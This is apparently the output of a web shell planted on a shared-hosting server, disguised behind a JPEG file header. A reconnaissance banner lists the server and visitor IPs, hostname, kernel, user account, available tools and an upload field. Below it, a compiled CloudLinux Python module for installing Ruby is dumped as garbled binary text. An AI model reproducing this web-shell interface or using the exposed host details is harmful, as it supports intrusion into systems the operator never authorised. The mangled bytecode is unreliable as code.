ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.29 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /opt/cloudlinux/venv/lib/python3.11/site-packages/clwizard/modules/__pycache__/ |
Upload File : |
�
�8i� � � � d dl Z d dlmZ d dlmZmZmZ d dlmZ d dl m
Z
d dlmZ d dl
mZ dd lmZ G d
� de� � ZdS )� N)�Feature)�ExternalProgramFailed�get_passenger_package_name�is_litespeed_running)�
get_ui_config)�MODULES_LOGS_DIR)�InstallationFailedException)�installed_interpreters_list� )�WizardInstallerc � � e Zd Zej � ed� � Zej Z
d� Zd� Zd� Z
d� Zd� Zed� � � ZdS ) �
RubyInstallerzruby.logc �$ � g }|D ]0}d|� dd� � z }|� |� � �1| j � dd� |� � � � | j |� d S # t $ r}t � � |�d }~ww xY w)Nzalt-ruby�.� z-Try to install Ruby package with versions: %s�,)�replace�append�
app_logger�info�join�_install_groupsr r )�self�versions�groups�v�package_name�es �L/opt/cloudlinux/venv/lib64/python3.11/site-packages/clwizard/modules/ruby.py�_install_ruby_versionsz$RubyInstaller._install_ruby_versions s� � ���� (� (�A�%�� � �#�r�(:�(:�:�L��M�M�,�'�'�'�'�����L�c�h�h�W_�N`�N`�a�a�a� 7� �D� �&�)�)�)�)��$� 7� 7� 7�-�/�/�Q�6����� 7���s �%
A1 �1
B�;B
�
Bc � � d}t j � |� � sdS | � d|g� � dS # t $ r}t � � |�d}~ww xY w)a
In order to make ruby apps work on Litespeed server, we need to run an
extra script
See docs for details:
https://www.litespeedtech.com/support/wiki/doku.php/litespeed_wiki:cloudlinux:enable_passenger
:return:
z9/usr/local/lsws/admin/misc/enable_ruby_python_selector.shN�sh)�os�path�isfile�_run_commandr r )r �litespeed_scriptr s r �_configure_for_litespeed_serverz-RubyInstaller._configure_for_litespeed_server# s{ � � W�� �w�~�~�.�/�/� ��F� 7����t�%5�6�7�7�7�7�7��$� 7� 7� 7�-�/�/�Q�6����� 7���s �>